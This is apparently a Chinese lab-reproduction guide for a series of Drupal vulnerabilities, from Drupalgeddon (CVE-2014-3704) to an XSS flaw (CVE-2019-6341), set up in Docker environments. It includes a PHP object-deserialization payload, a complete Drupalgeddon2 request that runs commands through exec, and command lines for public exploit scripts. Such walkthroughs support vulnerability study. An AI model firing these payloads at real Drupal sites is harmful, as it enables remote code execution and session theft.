总字符数: 6.19K

代码: 1.81K, 文本: 1.69K

预计阅读时间: 15 分钟

Drupal < 7.32 “Drupalgeddon” SQL注入漏洞(CVE-2014-3704)

环境启动后,访问http://103.116.46.7:8080/install.php即可看到Drupal的安装页面,使用默认配置安装即可.

其中,Mysql数据库名填写drupal,数据库用户名、密码为root,地址为mysql:

安装完成后,访问首页:

该漏洞无需认证,发送如下数据包即可执行恶意SQL语句

Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)

环境启动后,访问 http://103.116.46.7:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库

  1. 先安装 yaml 扩展

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    # 进入容器 CONTAINER换成自己的容器ID
    docker exec -it CONTAINER /bin/bash
    # 换镜像源,默认不带vim编辑器,所以用cat换源,可以换成自己喜欢的源
    cat > sources.list << EOF
    deb http://mirrors.163.com/debian/ jessie main non-free contrib
    deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
    deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
    deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
    deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
    deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
    deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
    deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
    EOF
    # 安装依赖
    apt update
    apt-get -y install gcc make autoconf libc-dev pkg-config
    apt-get -y install libyaml-dev
    # 安装yaml扩展
    pecl install yaml
    docker-php-ext-enable yaml.so
    # 启用 yaml.decode_php 否则无法复现成功
    echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
    # 退出容器
    exit
    # 重启容器,CONTAINER换成自己的容器ID
    docker restart CONTAINER
  2. 进入安装页面,安装drupal

  3. 登录一个管理员账号,访问http://103.116.46.7:8080/admin/config/development/configuration/single/import

  4. 如下图所示,Configuration type 选择 Simple configuration,Configuration name 任意填写,Paste your configuration here 中填写PoC如下

    !php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

  5. 点击 Import 后可以看到漏洞触发成功,弹出 phpinfo 页面

  • Tips:
    • 虽然官方 CPE 信息显示从 8.0.0 开始就有该漏洞,但是在 drupal:8.0.0 容器内并没有复现成功,相同操作在 drupal:8.3.0 则可以复现成功,故基础镜像选择drupal:8.3.0

Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)

Drupal 是一款用量庞大的CMS,其6/7/8版本的Form API中存在一处远程代码执行漏洞.相关分析如下:

环境启动后,访问http://your-ip:8080/将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库(参考上一个环境)

我们向安装完成的drupal发送如下数据包:

1
2
3
4
5
6
7
8
9
10
11
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 103.116.46.7:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

成功执行代码,这个代码最终执行了id命令:

Drupal 远程代码执行漏洞(CVE-2018-7602)

环境启动后,访问 http://103.116.46.7:8081/ 将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库(参考CVE-2017-6920)

参考pimps/CVE-2018-7600的PoC.

如下图所示,执行以下命令即可复现该漏洞.示例命令为 id,如图红框中显示,可以执行该命令

1
2
# "id"为要执行的命令 第一个drupal为用户名 第二个drupal为密码
python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://103.116.46.7:8081/

Drupal 远程代码执行漏洞(CVE-2019-6339)

**利用版本:**Drupal core 7.62之前的7.x版本 8.6.6之前的8.6.x版本 8.5.9之前的8.5.x版本

环境启动后,访问 http://your-ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库(参考CVE-2017-6920)

修改大佬的PoC为自己想要的poc,使用010Editor将图片中的cat /etc/passwd改成你想要的命令,这里改成uname -a,8这个数字为命令的字符数,这里是8个字符

如下图所示,使用管理员用户上传头像,头像图片为构造好的poc

Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置.

访问 http://103.116.46.7:8080/admin/config/media/file-system,在 Temporary directory 处输入之前上传的图片路径,示例为 phar://./sites/default/files/pictures/2022-10/blog-ZDI-CAN-7232-cat.jpg,保存后将触发该漏洞.如下图所示,触发成功.容器内不带ping和curl命令,请勿尝试dnslog,亲测

Drupal XSS漏洞(CVE-2019-6341)

  • 影响软件:Drupal
  • 方式:通过文件模块或者子系统上传恶意文件触发XSS漏洞
  • 参考链接:Drupal 1-click to RCE 分析
  • 效果:JS代码执行(Cookies 资料窃取、会话劫持、钓鱼欺骗、网页挂马等)

环境启动后,访问 http://your-ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库(参考CVE-2017-6920)

该漏洞需要利用drupal文件模块上传文件的漏洞,伪造一个图片文件,上传,文件的内容实际是一段HTML代码,内嵌JS,这样其他用户在访问这个链接时,就可能触发XSS漏洞.

Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置.

使用PoC上传构造好的伪造GIF文件,PoC参考thezdi/PoC的PoC.将poc中的$port = 80;改为$argv[1]

如图,输入如下命令,即可使用PoC构造样本并完成上传功能,第一个参数为目标IP 第二个参数为目标端口.

1
php cve-2019-6341-exp.php 103.116.46.7 8080

上传成功后,访问图片位置,即可触发 XSS 漏洞,如下图所示.

Tips:

  1. 因为 Chrome 和 FireFox 浏览器自带部分过滤 XSS 功能,所以验证存在时可使用 Edge 浏览器或者 IE 浏览器.
  2. 访问的图片名称为_0的原因是因为 Drupal 的规则机制,具体原理见Drupal 1-click to RCE 分析